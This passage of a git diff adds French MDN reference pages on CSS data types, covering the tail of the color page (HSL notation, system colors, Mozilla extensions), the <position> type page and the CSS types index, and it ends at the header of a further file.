+hsl(240,100%,50%,0.05)   /* 5% opaque blue */
+hsl(240,100%,50%,5%)     /* 5% opaque blue with percentage value for alpha */
+hsl(240 100% 50% / 0.05) /* 5% opaque blue */
+hsl(240 100% 50% / 5%)   /* 5% opaque blue with percentage value for alpha */
+</pre>
+
+<h5 id="HSLa">HSLa</h5>
+
+<pre class="brush: css" style="text-shadow: rgba(255,255,255,0.4) -1px -1px;">hsla(240,100%,50%,0.05)  /* 5% opaque blue */
+hsla(240,100%,50%, 0.4)  /* 40% opaque blue */
+hsla(240,100%,50%, 0.7)  /* 70% opaque blue */
+hsla(240,100%,50%,   1)  /* full opaque blue */
+
+/* syntaxe avec un espace */
+hsla(240 100% 50% / 0.05)/* 5% opaque blue */
+
+/* valeur en pourcentage pour l'alpha */
+hsla(240 100% 50% / 5%)/* 5% opaque blue */
+
+/* valeur d'angle pour la teinte */
+/* les unités rad, grad et turn*/
+/* sont également acceptées */
+hsla(240deg 100% 50% / 5%)/* 5% opaque blue */
+hsla(240deg,100%,50%, 0.4) /* 40% opaque blue */</pre>
+
+<h3 id="Couleurs_système">Couleurs système</h3>
+
+<p>Tous les systèmes ne prennent pas en charges toutes les couleurs système. Cet usage est déprécié pour les pages web publiques (cf. ci-après le tableau des spécifications).</p>
+
+<dl style="font: small Tahoma,'Liberation Sans','Nimbus Sans L',sans-serif; border: 1px solid powderblue; padding: 0.5em 0pt 0.5em 0.5em; -moz-column-rule: 1px solid powderblue; -moz-column-width: 15em; background: #eee; -webkit-columns: 15em; -webkit-column-rule: 1px solid powderblue; columns: 17em; column-rule: 1px solid powderblue;">
+ <dt>ActiveBorder</dt>
+ <dd>La bordure de la fenêtre active.</dd>
+ <dt>ActiveCaption</dt>
+ <dd>La légende de la fenêtre active. Devrait être utilisé avec <code>CaptionText</code> comme couleur de premier-plan.</dd>
+ <dt>AppWorkspace</dt>
+ <dd>La couleur d'arrière-plan d'une interface avec plusieurs documents.</dd>
+ <dt>Background</dt>
+ <dd>L'arrière-plan du bureau.</dd>
+ <dt>ButtonFace</dt>
+ <dd>La couleur d'arrière-plan visible (qui fait face à l'utilisateur) pour les éléments qui sont en 3D avec une bordure qui les entoure. Devrait être utilisée avec <code>ButtonText</code> comme couleur de premier-plan.</dd>
+ <dt>ButtonHighlight</dt>
+ <dd>La couleur de la bordure faisant face à la source de lumière pour les éléments qui apparaissent en 3D à cause d'une bordure autour.</dd>
+ <dt>ButtonShadow</dt>
+ <dd>La couleur de la bordure éloignée de la source de lumière pour les éléments qui apparaissent en 3D à cause d'une bordure autour..</dd>
+ <dt>ButtonText</dt>
+ <dd>La couleur du texte sur les bouttons. Devrait être utilisée avec <code>ButtonFace</code> ou <code>ThreeDFace</code> comme couleur d'arrière-plan.</dd>
+ <dt>CaptionText</dt>
+ <dd>La couleur du texte dans les légendes, la couleur des boîtes redimensionnables et de la flèche de l'ascenseur. Devrait être utilisée avec <code>ActiveCaption</code> comme couleur d'arrière-plan.</dd>
+ <dt>GrayText</dt>
+ <dd>Texte (désactivé) en gris.</dd>
+ <dt>Highlight</dt>
+ <dd>La couleur des éléments sélectionnés dans un contrôle. Devrait être utilisé avec <code>HighlightText</code> comme couleur de premier-plan.</dd>
+ <dt>HighlightText</dt>
+ <dd>La couleur du texte des éléments sélectionnés dans un contrôle. Devrait être utilisée avec <code>Highlight</code> comme couleur d'arrière-plan.</dd>
+ <dt>InactiveBorder</dt>
+ <dd>La couleur de la bordure d'une fenêtre inactive.</dd>
+ <dt>InactiveCaption</dt>
+ <dd>La couleur de la légende de fenêtre inactive. Devrait être utilisée avec <code>InactiveCaptionText</code> comme couleur de premier-plan.</dd>
+ <dt>InactiveCaptionText</dt>
+ <dd>La couleur du texte pour une légende inactive. Devrait être utilisée avec <code>InactiveCaption</code> comme couleur d'arrière-plan.</dd>
+ <dt>InfoBackground</dt>
+ <dd>La couleur d'arrière-plan pour les bulles d'informations. Devrait être utilisée avec <code>InfoText</code> comme couleur de premier-plan.</dd>
+ <dt>InfoText</dt>
+ <dd>La couleur du texte pour les bulles d'informations. Devrait être utilisée avec <code>InfoBackground</code> comme couleur d'arrière-plan.</dd>
+ <dt>Menu</dt>
+ <dd>La couleur d'arrière-plan du menu. Devrait être utilisée avec <code>MenuText</code> ou <code>-moz-MenuBarText</code> comme couleur de premier-plan.</dd>
+ <dt>MenuText</dt>
+ <dd>La couleur du texte dans les menus. Devrait être utilisée avec <code>Menu</code> comme couleur d'arrière-plan.</dd>
+ <dt>Scrollbar</dt>
+ <dd>La couleur d'arrière-plan de la barre de défilement (ascenseur).</dd>
+ <dt>ThreeDDarkShadow</dt>
+ <dd>La couleur de la bordure la plus sombre (généralement la bordure extérieure) éloignée de la source de lumière lorsque deux bordures concentriques sont utilisées pour générer un effet 3D.</dd>
+ <dt>ThreeDFace</dt>
+ <dd>La couleur d'arrière-plan pour les éléments qui apparaissent en 3D grâce à des bordures concentriques. Devrait être utilisée avec <code>ButtonText</code> comme couleur de premier-plan.</dd>
+ <dt>ThreeDHighlight</dt>
+ <dd>La couleur de la bordure la plus claire (généralement la bordure extérieure) proche de la source de lumière lorsque deux bordures concentriques sont utilisées pour générer un effet 3D.</dd>
+ <dt>ThreeDLightShadow</dt>
+ <dd>La couleur de la bordure la plus sombre (généralement la bordure intérieure) proche de la source de lumière lorsque deux bordures concentriques sont utilisées pour générer un effet 3D.</dd>
+ <dt>ThreeDShadow</dt>
+ <dd>La couleur de la bordure la plus claire (généralement la bordure intérieure) lorsque deux bordures concentriques sont utilisées pour générer un effet 3D.</dd>
+ <dt>Window</dt>
+ <dd>La couleur d'arrière-plan de la fenêtre. Devrait être utilisée avec la couleur <code>WindowText</code> en premier plan.</dd>
+ <dt>WindowFrame</dt>
+ <dd>La couleur du cadre de la fenêtre.</dd>
+ <dt>WindowText</dt>
+ <dd>La couleur du texte dans les fenêtres. Devrait être utilisée avec la couleur <code>Window</code> en arrière-plan.</dd>
+</dl>
+
+<h3 id="Ajouts_propres_à_Mozilla_pour_les_couleurs_système">Ajouts propres à Mozilla pour les couleurs système</h3>
+
+<dl style="font: small Tahoma,'Liberation Sans','Nimbus Sans L',sans-serif; border: 1px solid powderblue; padding: 0.5em 0 0.5em 0.5em; -moz-column-rule: 1px solid powderblue; -moz-column-width: 17em; background: #eee; -webkit-columns: 17em; -webkit-column-rule: 1px solid powderblue; columns: 17em; column-rule: 1px solid powderblue;">
+ <dt>-moz-ButtonDefault</dt>
+ <dd>La couleur de la bordure autour des boutons représentant l'action par défaut d'une boîte de dialogue.</dd>
+ <dt>-moz-ButtonHoverFace</dt>
+ <dd>La couleur d'arrière-plan d'un bouton survolé par le pointeur (qui serait <code>ThreeDFace</code> ou <code>ButtonFace</code> lorsque le pointeur n'est pas sur le bouton). Devrait être utilisée avec <code>-moz-ButtonHoverText</code> comme couleur de premier-plan.</dd>
+ <dt>-moz-ButtonHoverText</dt>
+ <dd>La couleur du texte d'un bouton survolé par le pointeur (qui serait ButtonText lorsque le pointeur n'est pas sur le bouton). Devrait être utilisée avec<code>-moz-ButtonHoverFace</code> comme couleur d'arrière-plan.</dd>
+ <dt>-moz-CellHighlight</dt>
+ <dd>La couleur d'arrière-plan pour un élément sélectionné dans un widget arborescent. Devrait être utilisée avec <code>-moz-CellHighlightText</code> comme couleur de premier-plan. Voir aussi <code>-moz-html-CellHighlight</code>.</dd>
+ <dt>-moz-CellHighlightText</dt>
+ <dd>La couleur du texte pour un élément sélectionné dans un widget arborescent. Devrait être utilisée avec <code>-moz-CellHighlight</code> comme couleur d'arrière-plan. Voir aussi <code>-moz-html-CellHighlightText</code>.</dd>
+ <dt>-moz-Combobox</dt>
+ <dd>{{Gecko_minversion_inline("1.9.2")}} La couleur d'arrière-plan pour les listes déroulantes. Devrait être utilisée avec <code>-moz-ComboboxText</code> comme couleurs de premier-plan. Pour les versions antérieures à 1.9.2, on utilisera <code>-moz-Field</code> à la place.</dd>
+ <dt>-moz-ComboboxText</dt>
+ <dd>{{Gecko_minversion_inline("1.9.2")}} La couleur du texte pour les listes déroulantes. Devrait être utilisée avec <code>-moz-Combobox</code> comme couleur d'arrière-plan. Pour les versions antérieures à 1.9.2, on utilisera <code>-moz-FieldText</code> à la place.</dd>
+ <dt>-moz-Dialog</dt>
+ <dd>La couleur d'arrière-plan pour les boîtes de dialogue. Devrait être utilisée avec <code>-moz-DialogText</code> comme couleur de premier-plan.</dd>
+ <dt>-moz-DialogText</dt>
+ <dd>La couleur du texte pour les boîtes de dialogue. Devrait être utilisée avec <code>-moz-Dialog</code> comme couleur d'arrière-plan.</dd>
+ <dt>-moz-dragtargetzone</dt>
+ <dt>-moz-EvenTreeRow</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} La couleur d'arrière-plan pour les lignes numérotées paires d'un arbre. Devrait être utilisée avec<code>-moz-FieldText</code> comme couleur de premier-plan. Pour les versions de Gecko avant 1.9, on utilisera <code>-moz-Field</code>. Voir aussi <code>-moz-OddTreeRow</code>.</dd>
+ <dt>-moz-Field</dt>
+ <dd>La couleur d'arrière-plan pour les champs texte. Devrait être utilisée avec <code>-moz-FieldText</code> comme couleur de premier-plan.</dd>
+ <dt>-moz-FieldText</dt>
+ <dd>La couleur du texte pour les champs texte. Devrait être utilisée avec <code>-moz-Field</code>, <code>-moz-EvenTreeRow</code>, ou <code>-moz-OddTreeRow</code> comme couleur d'arrière-plan.</dd>
+ <dt>-moz-html-CellHighlight</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} La couleur d'arrière-plan pour les éléments sélectionnés dans un élément HTML {{HTMLElement("select")}}. Devrait être utilisée avec <code>-moz-html-CellHighlightText</code> comme couleur de premier-plan. Avant Gecko 1.9, on utilisera <code>-moz-CellHighlight</code>.</dd>
+ <dt>-moz-html-CellHighlightText</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} La couleur du texte pour les éléments sélectionnés dans un élément HTML {{HTMLElement("select")}}. Devrait être utilisée avec <code>-moz-html-CellHighlight</code> comme couleur d'arrière-plan. Avant Gecko 1.9, on utilisera <code>-moz-CellHighlightText</code>.</dd>
+ <dt>-moz-mac-accentdarkestshadow</dt>
+ <dt>-moz-mac-accentdarkshadow</dt>
+ <dt>-moz-mac-accentface</dt>
+ <dt>-moz-mac-accentlightesthighlight</dt>
+ <dt>-moz-mac-accentlightshadow</dt>
+ <dt>-moz-mac-accentregularhighlight</dt>
+ <dt>-moz-mac-accentregularshadow</dt>
+ <dt>-moz-mac-chrome-active</dt>
+ <dd>{{Gecko_minversion_inline("1.9.1")}}</dd>
+ <dt>-moz-mac-chrome-inactive</dt>
+ <dd>{{Gecko_minversion_inline("1.9.1")}}</dd>
+ <dt>-moz-mac-focusring</dt>
+ <dt>-moz-mac-menuselect</dt>
+ <dt>-moz-mac-menushadow</dt>
+ <dt>-moz-mac-menutextselect</dt>
+ <dt>-moz-MenuHover</dt>
+ <dd>La couleur d'arrière-plan pour les éléments de menu survolés. Généralement semblable à <code>Highlight</code>. Devrait être utilisée avec <code>-moz-MenuHoverText</code> ou <code>-moz-MenuBarHoverText</code> comme couleur de premier-plan.</dd>
+ <dt>-moz-MenuHoverText</dt>
+ <dd>La couleur du texte pour les éléments de menu survolés. Généralement similaire à <code>HighlightText</code>. Devrait être utilisée avec <code>-moz-MenuHover</code> comme couleur d'arrière-plan.</dd>
+ <dt>-moz-MenuBarText</dt>
+ <dd>{{Gecko_minversion_inline("1.9.2")}} La couleur du texte dans les barres de menu. Généralement similaire à <code>MenuText</code>. Devrait être utilisée avec <code>Menu</code> comme couleur d'arrière-plan.</dd>
+ <dt>-moz-MenuBarHoverText</dt>
+ <dd>La couleur du texte pour les éléments survolés dans les barres de menu, généralement similaire à <code>-moz-MenuHoverText</code>. Devrait être utilisée avec <code>-moz-MenuHover</code> comme couleur d'arrière-plan.</dd>
+ <dt>-moz-nativehyperlinktext</dt>
+ <dd>{{Gecko_minversion_inline("1.9.1")}} La couleur par défaut de la plate-forme pour les hyperliens.</dd>
+ <dt>-moz-OddTreeRow</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} La couleur d'arrière-plan pour les lignes numérotées impaires d'un arbre. Devrait être utilisée avec<code>-moz-FieldText</code> comme couleur de premier-plan. Pour les versions de Gecko avant 1.9, on utilisera <code>-moz-Field</code>. Voir aussi <code>-moz-EvenTreeRow</code>.</dd>
+ <dt>-moz-win-accentcolor</dt>
+ <dd>{{gecko_minversion_inline("56")}} Utilisée pour accéder à la couleur d'accentuation de Windows 10 pour les menus, la barre de tâches, les barres de titre.</dd>
+ <dt>-moz-win-accentcolortext</dt>
+ <dd>{{gecko_minversion_inline("56")}} Utilisée pour accéder à la couleur d'accentuation de Windows 10 uttilisée pour le texte des menus, de la barre de tâches et des barres de titre.</dd>
+ <dt>-moz-win-communicationstext</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} Devrait être utilisée comme couleur pour les textes des objets pour lesquels <code>{{cssxref("-moz-appearance")}}: -moz-win-communications-toolbox;</code>.</dd>
+ <dt>-moz-win-mediatext</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} Devrait être utilisée comme couleur pour les textes des objets pour lesquels <code>{{cssxref("-moz-appearance")}}: -moz-win-media-toolbox</code>.</dd>
+</dl>
+
+<h3 id="Ajout_de_Mozilla_pour_les_couleurs_liées_aux_préférences">Ajout de Mozilla pour les couleurs liées aux préférences</h3>
+
+<dl style="font: small Tahoma,'Liberation Sans','Nimbus Sans L',sans-serif; border: 1px solid powderblue; padding: 0.5em 0 0.5em 0.5em; background: #eee;">
+ <dt>-moz-activehyperlinktext</dt>
+ <dd>La couleur choisie par l'utilisateur pour le texte des liens actifs. Devrait être utilisée avec la couleur d'arrière-plan par défaut du document.</dd>
+ <dt>-moz-default-background-color</dt>
+ <dd>{{Gecko_minversion_inline("5.0")}} La couleur choisie par l'utilisateur pour la couleur d'arrière-plan du document.</dd>
+ <dt>-moz-default-color</dt>
+ <dd>{{Gecko_minversion_inline("5.0")}} La couleur choisie par l'utilisateur pour la couleur du texte.</dd>
+ <dt>-moz-hyperlinktext</dt>
+ <dd>La couleur choisie par l'utilisateur pour le texte des liens non visités. Devrait être utilisée avec la couleur d'arrière-plan par défaut du document.</dd>
+ <dt>-moz-visitedhyperlinktext</dt>
+ <dd>La couleur choisie par l'utilisateur pour le texte des liens visités. Devrait être utilisée avec la couleur d'arrière-plan par défaut du document.</dd>
+</dl>
+
+<h2 id="Interpolation">Interpolation</h2>
+
+<p>Les valeurs de type <code>&lt;color&gt;</code> peuvent être interpolées afin de créer des animations ou des dégradés (type <code>&lt;gradient&gt;</code>). Dans ce cas, elles sont interpolées via chacune de leurs composantes rouge, verte, bleue et chacune de ces coordonnées est gérée comme un nombre réel flottant. L'interpolation des couleurs est appliquée dans <a class="external" href="https://www.gimp.org/docs/plug-in/appendix-alpha.html">l'espace de couleurs alpha sRGBA prémultiplié</a> afin d'empêcher des tons de gris d'apparaître. Pour les animations, la vitesse de l'interpolation est définie selon <a href="/fr/docs/Web/CSS/timing-function">la fonction de temporisation</a> associée à l'animation.</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>La recommandation du W3C : <a class="external" href="https://www.w3.org/TR/WCAG/#visual-audio-contrast">WCAG 2.0</a> conseille vivement aux auteurs de ne pas utiliser la couleur comme le seul moyen de transmettre une information, une action ou un résultat. Certains utilisateurs peuvent rencontrer des difficultés à distinguer les couleurs. Bien entendu, cette recommandation ne vise pas à interdire l'utilisation des couleurs, elle indique simplement que ce ne doit pas être le seul moyen de fournir une information (voir l'article sur <a href="/fr/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">Ies couleurs et le contraste</a> pour plus d'informations).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Colors', '#colorunits', '&lt;color&gt;')}}</td>
+   <td>{{Spec2('CSS4 Colors')}}</td>
+   <td>Ajout de la couleur <code>rebeccapurple</code>, de la notation hexadécimale sur quatre chiffres (<code>#RGBA</code>) et sur huit chiffres (<code>#RRGGBBAA</code>). <code>rgba()</code> et <code>hsla()</code> sont désormais synonymes de <code>rgb()</code> et <code>hsl()</code>, les paramètres des fonctions peuvent être séparés par des espaces plutôt que ds virgules, les valeurs de transparence (alpha) peuvent être exprimées en pourcentages et les valeurs de teinte avec un angle.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Colors', '#colorunits', '&lt;color&gt;')}}</td>
+   <td>{{Spec2('CSS3 Colors')}}</td>
+   <td>Les couleurs système sont désormais dépréciée. Les couleurs SVG sont ajoutées ainsi que les notations fonctionnelles <code>rgba()</code>, <code>hsl()</code>, <code>hsla()</code>.</td>
+  </tr>
+  <tr style="vertical-align: top;">
+   <td style="vertical-align: top;">{{SpecName('CSS2.1', 'syndata.html#value-def-color', '&lt;color&gt;')}}</td>
+   <td style="vertical-align: top;">{{Spec2('CSS2.1')}}</td>
+   <td style="vertical-align: top;">Ajout de la couleur <code>orange</code> et des couleurs système.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{SpecName('CSS1', '#color-units', '&lt;color&gt;')}}</td>
+   <td style="vertical-align: top;">{{Spec2('CSS1')}}</td>
+   <td style="vertical-align: top;">Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("opacity")}}</li>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("border-color")}}</li>
+ <li>{{cssxref("outline-color")}}</li>
+ <li>{{cssxref("text-shadow")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+</ul>
diff --git a/files/fr/web/css/type_position/index.html b/files/fr/web/css/type_position/index.html
new file mode 100644
index 0000000000..03ddd68285
--- /dev/null
+++ b/files/fr/web/css/type_position/index.html
@@ -0,0 +1,129 @@
+---
+title: <position>
+slug: Web/CSS/Type_position
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/position_value
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée CSS <strong><code>&lt;position&gt;</code></strong> définit une paire de coordonnées dans l'espace (bidimensionnel) afin de définir la position relative d'une boîte. La position finale obtenue, décrite par la valeur <code>&lt;position&gt;</code>, n'est pas nécessairement située à l'intérieur de la boîte de l'élément. Ce type de donnée est notamment utilisé avec la propriété {{cssxref("background-position")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>On peut définir un emplacement grâce à deux mots-clés avec chacun un décalage par rapport au côté correspondant à ce mot-clé. Un mot-clé représente un côté de la boîte ou la ligne du centre située entre les deux bords. Ce mot-clé sera <img alt="" src="https://mdn.mozillademos.org/files/12215/position_type.png" style="float: left; height: 230px; width: 362px;"><code>left</code>, <code>right</code>, <code>top</code>, <code>bottom</code> ou <code>center</code> (ce dernier représente le milieu entre les côtés droit et gauche ou le milieu entre les côtés haut et bas selon le contexte).</p>
+
+<p>Le décalage peut être une valeur relative, exprimée en pourcentages (valeur de type {{cssxref("&lt;percentage&gt;")}} ou une valeur absolue. Les valeurs positives décalent vers la droite ou vers le bas. Les valeurs négatives décalent dans l'autre sens (vers la gauche ou vers le haut).</p>
+
+<p>Si un seul décalage est indiqué, ce sera le décalage horizontal. Lorsqu'un seul décalage ou mot-clé est utilisé, la valeur par défaut pour l'autre axe est <code>center</code>.</p>
+
+<h2 id="Valeurs">Valeurs</h2>
+
+<pre class="brush:css">/* Syntaxe avec une valeur */
+<var>mot-clé</var>                  /* Le côté depuis lequel décaler, on centrera sur l'autre axe*/
+<var>&lt;length&gt;</var> ou <var>&lt;percentage&gt;</var> /* La position sur l'axe */
+
+/* Syntaxe avec deux valeurs */
+<var>mot-clé</var> <var>mot-clé</var>          /* Un mot-clé pour chaque direction, l'ordre n'est pas important */
+<var>mot-clé</var> <var>valeur</var>           /* La valeur indique le décalage par rapport au côté indiqué par le mot-clé */
+<em>valeur</em> <em>mot-clé</em>           /* Une valeur pour le décalage horizontal et un mot-clé pour le décalage vertical */
+<em>valeur</em> <em>valeur</em>            /* Une valeur pour chaque composante du décalage */
+
+/* Syntaxe avec quatre valeurs */
+<em>mot-clé</em> <em>valeur</em> <em>mot-clé</em> <em>valeur</em> /* Chaque valeur indique le décalage par rapport au mot-clé qui le précède */
+</pre>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">[
+ [ left | center | right ] || [ top | center | bottom ]
+|
+ [ left | center | right | &lt;length&gt; | &lt;percentage&gt; ]
+ [ top | center | bottom | &lt;length&gt; | &lt;percentage&gt; ]?
+|
+ [ [ left | right ] [ &lt;length&gt; | &lt;percentage&gt; ] ] &amp;&amp;
+ [ [ top | bottom ] [ &lt;length&gt; | &lt;percentage&gt; ] ]
+]
+</pre>
+
+<h2 id="Interpolation">Interpolation</h2>
+
+<p>Les valeurs des coordonnées en abscisses et en ordonnées sont interpolées indépendamment. La vitesse de l'interpolation est définie par la même fonction de temporisation ({{cssxref("&lt;timing-function&gt;")}}) et le point se déplacera donc sur une ligne.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: #FFEE99;
+  background-repeat: no-repeat;
+  width: 300px;
+  height: 80px;
+  margin-bottom: 12px;
+}
+
+.exemple{
+  background: url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #FFEE99 no-repeat;
+  // Ici un exemple de valeur &lt;position&gt;
+  background-position:  2.5cm bottom;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="exemple"&gt;Exemple&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 120, 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#position', '&lt;position&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Renvoie aux deux définitions avec la contrainte suivante qui permet d'être cohérent : si {{SpecName('CSS3 Backgrounds')}} est pris en charge, c'est sa définition de  <code>&lt;position&gt;</code> qui doit être utilisée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#position', '&lt;position&gt;')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td><code>&lt;position&gt;</code> est défini de façon explicite et est étendu afin de pouvoir exprimer un décalage depuis n'importe quel côté.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-position', '&lt;position&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Autorise la combinaison d'un mot-clé et d'une valeur {{cssxref("&lt;length&gt;")}} ou {{cssxref("&lt;percentage&gt;")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#background-position', '&lt;position&gt;')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td><code>&lt;position&gt;</code> est défini de façon anonyme comme valeur de {{cssxref("background-position")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.position")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Valeurs_et_unités_CSS">Valeurs et unités en CSS</a></li>
+ <li><a href="/fr/docs/Apprendre/CSS/Introduction_à_CSS/Values_and_units">Tutoriel - Introduction aux valeurs et unités CSS</a></li>
+ <li>{{cssxref("background-position")}}</li>
+ <li>{{cssxref("radial-gradient","radial-gradient()")}}</li>
+ <li>{{cssxref("conic-gradient","conic-gradient()")}}</li>
+</ul>
diff --git a/files/fr/web/css/types_css/index.html b/files/fr/web/css/types_css/index.html
new file mode 100644
index 0000000000..28f95eeef4
--- /dev/null
+++ b/files/fr/web/css/types_css/index.html
@@ -0,0 +1,102 @@
+---
+title: Types CSS
+slug: Web/CSS/Types_CSS
+tags:
+  - Aperçu
+  - CSS
+  - CSS Data Type
+  - Reference
+  - Type
+translation_of: Web/CSS/CSS_Types
+---
+<div>{{CSSRef}}</div>
+
+<p>Le module <strong><em>CSS basic data types</em></strong> définit les différents types de données CSS qui permettent de définir les types de valeurs (mots-clés et unités) acceptées par les différentes propriétés et fonctions. Lorsqu'on utilise une notation formelle, les types de données sont représentés par un mot-clé entre chevrons (&lt; &gt;).</p>
+
+<div class="note">
+<p><strong>Note </strong><strong>:</strong> Les types de donnée CSS sont un type spécial de <a href="https://www.w3.org/TR/css3-values/#component-types">composant de type de valeur</a>.</p>
+</div>
+
+<h2 id="Référence">Référence</h2>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;angle&gt;")}}</li>
+ <li>{{cssxref("&lt;angle-percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;angular-color-hint&gt;")}}</li>
+ <li>{{cssxref("&lt;angular-color-stop&gt;")}}</li>
+ <li>{{cssxref("&lt;attr-fallback&gt;")}}</li>
+ <li>{{cssxref("&lt;attr-name&gt;")}}</li>
+ <li>{{cssxref("&lt;basic-shape&gt;")}}</li>
+ <li>{{cssxref("&lt;blend-mode&gt;")}}</li>
+ <li>{{cssxref("&lt;calc-product&gt;")}}</li>
+ <li>{{cssxref("&lt;calc-sum&gt;")}}</li>
+ <li>{{cssxref("&lt;calc-value&gt;")}}</li>
+ <li>{{cssxref("&lt;color&gt;")}}</li>
+ <li>{{cssxref("&lt;color-stop&gt;")}}</li>
+ <li>{{cssxref("&lt;color-stop-angle&gt;")}}</li>
+ <li>{{cssxref("&lt;counter-style&gt;")}}</li>
+ <li>{{cssxref("&lt;custom-ident&gt;")}}</li>
+ <li>{{cssxref("&lt;dimension&gt;")}}</li>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+ <li>{{cssxref("&lt;flex&gt;")}}</li>
+ <li>{{cssxref("&lt;frequency&gt;")}}</li>
+ <li>{{cssxref("&lt;frequency-percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;gradient&gt;")}}</li>
+ <li>{{cssxref("&lt;ident&gt;")}}</li>
+ <li>{{cssxref("&lt;image&gt;")}}</li>
+ <li>{{cssxref("&lt;integer&gt;")}}</li>
+ <li>{{cssxref("&lt;length&gt;")}}</li>
+ <li>{{cssxref("&lt;length-percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;number&gt;")}}</li>
+ <li>{{cssxref("&lt;number-percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;position&gt;")}}</li>
+ <li>{{cssxref("&lt;quote&gt;")}}</li>
+ <li>{{cssxref("&lt;ratio&gt;")}}</li>
+ <li>{{cssxref("&lt;resolution&gt;")}}</li>
+ <li>{{cssxref("&lt;shape-box&gt;")}}</li>
+ <li>{{cssxref("&lt;shape-radius&gt;")}}</li>
+ <li>{{cssxref("&lt;string&gt;")}}</li>
+ <li>{{cssxref("&lt;time&gt;")}}</li>
+ <li>{{cssxref("&lt;time-percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;timing-function&gt;")}}</li>
+ <li>{{cssxref("&lt;toggle-value&gt;")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+ <li>{{cssxref("&lt;type-or-unit&gt;")}}</li>
+ <li>{{cssxref("&lt;url&gt;")}}</li>
+ <li>{{cssxref("&lt;url-modifier&gt;")}}</li>
+ <li>{{cssxref("&lt;zero&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Valeurs_et_unités_CSS">Unités et valeurs CSS</a></li>
+ <li><a href="/fr/docs/Apprendre/CSS/Introduction_à_CSS/Values_and_units">Introduction à CSS : les valeurs et les unités</a></li>
+</ul>
diff --git a/files/fr/web/css/unicode-bidi/index.html b/files/fr/web/css/unicode-bidi/index.html
new file mode 100644
index 0000000000..b7ef1080bf
--- /dev/null
